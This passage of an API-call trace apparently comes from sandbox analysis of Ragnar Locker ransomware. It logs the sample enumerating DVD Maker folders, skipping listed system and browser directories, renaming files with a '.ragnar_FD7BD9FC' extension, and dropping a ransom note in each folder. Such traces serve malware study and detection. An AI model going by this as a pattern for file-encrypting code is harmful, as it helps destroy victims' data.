dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.066] CloseHandle (hObject=0xffffffff) returned 0 [0079.066] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" [0079.066] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.ragnar_FD7BD9FC" [0079.066] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.066] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0079.066] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.067] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2=".") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="..") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Windows") returned -1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Windows.old") returned -1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Tor browser") returned -1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Internet Explorer") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Google") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Opera") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Opera Software") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Mozilla") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="Mozilla Firefox") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="$Recycle.Bin") returned 1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="ProgramData") returned -1 [0079.067] lstrcmpiW (lpString1="Performance", lpString2="All Users") returned 1 [0079.067] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.067] lstrcpyW (in: lpString1=0x1eb620, lpString2="Performance" | out: lpString1="Performance") returned="Performance" [0079.067] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\" [0079.067] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\" [0079.067] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RGNR_FD7BD9FC.txt" [0079.067] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.078] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*" [0079.078] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.078] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.078] lstrcpyW (in: lpString1=0x1ea74c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81603820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81603820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.078] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.078] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81603820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81603820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.078] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.078] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.078] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0079.078] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2=".") returned 1 [0079.078] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="..") returned 1 [0079.078] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.078] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2=".") returned 1 [0079.078] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="..") returned 1 [0079.078] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0079.078] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2=".") returned 1 [0079.078] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="performance.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="performance.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0079.079] lstrcmpiW (lpString1="redmenu.png", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="redmenu.png", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81603820, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81603820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.079] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.079] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.079] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="Scene_loop_PAL.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="Title_Page.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="Title_Page.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0079.080] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2=".") returned 1 [0079.080] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="..") returned 1 [0079.080] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 